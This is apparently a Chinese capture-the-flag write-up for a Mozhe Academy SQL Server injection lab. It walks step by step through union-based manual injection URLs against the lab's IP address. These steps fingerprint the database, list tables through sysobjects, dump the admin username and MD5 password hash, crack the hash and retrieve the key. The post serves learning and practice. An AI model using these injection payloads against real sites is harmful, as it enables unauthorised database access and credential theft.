SQL手工注入漏洞测试(Sql Server数据库)-墨者


---------靶场专栏---------


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

墨者学院

简介:

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Sql Server,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;

2.了解手工注入的方法;

3.了解Sql Server的数据结构;

4.了解字符串的MD5加解密;

解题方向:

手工进行SQL注入测试,获取管理密码登录。


解题思路:

还是老套路,测试注入点,利用sql语句去找到用户账号信息,这个b密码肯定又是md5加密,能不能来点新套路(抓脸.jpg)。

靶场启动!!!我的墨币啊┭┮﹏┭┮,望大佬点赞回血。

还是那个熟悉的界面,我们点进去关于平台停机维护的通知。

http://219.153.49.228:41966/new_list.asp?id=2

整型注入点吗?我们先找找Sql Server和MySQL数据库的区别。

SQL Server和MySQL数据库的区别如下:

  1. 平台支持:SQL Server主要支持Windows平台,而MySQL则支持许多平台,包括Linux和Windows平台。
  2. 语法:SQL Server的语法相对简单易用,而MySQL的语法则较为复杂。
  3. 存储引擎:MySQL有多种存储引擎可供选择,而SQL Server则仅使用一个或单个存储引擎。
  4. 备份方式:在使用MySQL时,开发人员必须通过将所有数据提取为SQL语句来备份数据。而SQL Server在备份数据时不会阻止数据库,这使得用户能够备份和恢复大量数据,而无需花费额外的时间和精力。
  5. 性能:SQL Server被视为大型数据库,稳定且能做一般大系统的数据仓库,运行速度明显比MySQL快(尤其是海量数据下)。
  6. 价格:SQL Server的价格相对较高,而MySQL是免费的。
  7. 可扩展性:MySQL在可扩展性方面表现得更好,它允许开发人员根据性能更灵活地为表使用存储引擎。
  8. 社区支持:MySQL有一个庞大的开发者社区,提供了大量的教程、论坛和资源,使得开发人员可以很容易地获取帮助和支持。相比之下,虽然SQL Server也有一个活跃的社区,但其开发者社区规模可能不如MySQL。

纯套话,《国产ai.jpg》,我们再找找Sql Server和MySQL数据库在进行sql注入测试时候的区别吧。搜完了感觉除了注释符号不一样,MSSQL(sql server) 最高权限是sa,其他的大差不差,问题不大,我们就按mysql的来,出现错误了我们再去改。


解题步骤:

一、验证注入点

http://219.153.49.228:41966/new_list.asp?id=2

对id这个参数进行尝试

http://219.153.49.228:41966/new_list.asp?id=2 and 1=1

ok正常访问,试试这个

http://219.153.49.228:41966/new_list.asp?id=2 and 1=2

访问不正常了,那注入点就在这里啦(苍蝇搓手.jpg)


二、order by猜列

http://219.153.49.228:41966/new_list.asp?id=-2 union order by 1,2,3,4

昂?我们去w3school里面找找有没有相关的注入语句。

哦哦哦哦哦,order by 不用联合注入,而且只能传入一个参数,给忘了。猜列的时候,发现只有1,2,4显示了页面,可能有四个列。


三、检查回显

http://219.153.49.228:41966/new_list.asp?id=-2 union select 1,2,4

昂?这是怎么了?系统应该是检测这个字符的,我们用小葵转换一下编码试试。能行,但不完全行,我找找其他资料吧。ooo原来是语句不正确。

我们测回显用这个语句

http://219.153.49.228:48244/new_list.asp?id=-2 union all select null,'null','null',null

我们去一个个给每个null加上单引号。

也可以用order by +number

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,2,'3',4

最后把3用字符串表示(加了个单引号)能正常回显。说明第二和第三列有回显,第二列是整型,第三列是字符型


四、获取数据库信息

+++

@@version 获取版本信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@version,'3',4

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

+++

db_name()当前数据库名字

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,db_name(),'3',4

mozhe_db_v2

+++

user、system_user、current_user、user_name获取当前数据库用户名

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,user,'3',4

dbo

+++

@@SERVERNAME 获取服务器主机信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@SERVERNAME,'3',4

MOBAN9527\SQLEXPRESS


五、查数据库表信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

注入语句:top 1(查询前1条数据)+name(查name字段)+mozhe_db_v2.dbo.sysobjects(当前数据库.dbo.sysobjects系统自带用户)+xtype='U'(限定user信息,dbo用户创建的表)

查询到的是manage表,用and name not in看看还有没其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage')),'3',4

再看看有没有其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage','announcement')),'3',4

没有了。接下来就是根据查到的数据库表信息去查列的信息了。


六、查数据库表信息

我们查到跟dbo有关的数据库表就是manage,announcement了。announcement替你们查过了,跟flag没关系。直接展示manage了。

syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回当前数据库用户创建的对像的ID。

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

/new_list.asp?id=-1 union all select 1,(select username from manage),'a',4

查询(object_id('manage'),1)(object_id('manage'),2)(object_id('manage'),3)返回的分别是id,username,password。


七、查数据

直接从manage表中查就行。

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select username from manage),'a',4

admin_mz

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select password from manage),'a',4

72e1bfc3f01b7583

MD5解密后为97285101

登陆拿到KEY: mozhea025436360d9d78553ba4c4a754


总结:

难度:★★★★☆☆☆☆☆☆

**解析:**整体难度有点稍高,因为和mysql语法有点区别,查数据方式也不太一样。好在思路没啥出入。记录一下手工注入流程,提高对MSSQL数据库的理解。


相关推荐
月光水岸New2 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6752 小时前
数据库基础1
数据库
我爱松子鱼2 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo2 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser3 小时前
【SQL】多表查询案例
数据库·sql
Galeoto3 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)4 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231114 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白4 小时前
PostgreSQL:更新字段慢
数据库·postgresql
敲敲敲-敲代码4 小时前
【SQL实验】触发器
数据库·笔记·sql